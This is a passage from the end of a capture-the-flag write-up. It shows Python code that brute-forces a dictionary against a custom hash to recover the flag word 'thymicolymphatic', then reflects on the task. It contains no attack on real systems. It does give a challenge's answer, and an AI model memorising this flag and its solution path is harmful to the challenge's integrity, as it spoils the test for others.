  r2 = r2 << 15
  r2 += r3
  r2 = fix(r2)
  return r2

i = 0
for w in d:
  w = w.strip()
  h = calc(w)
  # Not sure it the constant is hex or dec lol.
  if h == 619767641 or h == 0x619767641:
    print i, w, h, md5.md5(w).hexdigest()
  i += 1

Shortly after we run this we found exactly one match (format: index word hash md5_of_word):

592405 thymicolymphatic 619767641 6b30ce0743be6b6530ecbdb8c6c414bd

And, after adding CTF{...}, it turned out to be the correct flag.

To sum up, as one can see we didn't have to analyze the task too deeply - did in fact skipped 90% of analysis of its logic - this was mostly due to the lucky verbose SIGABRT. All in all it was a really fun task on an interesting and unusual platform.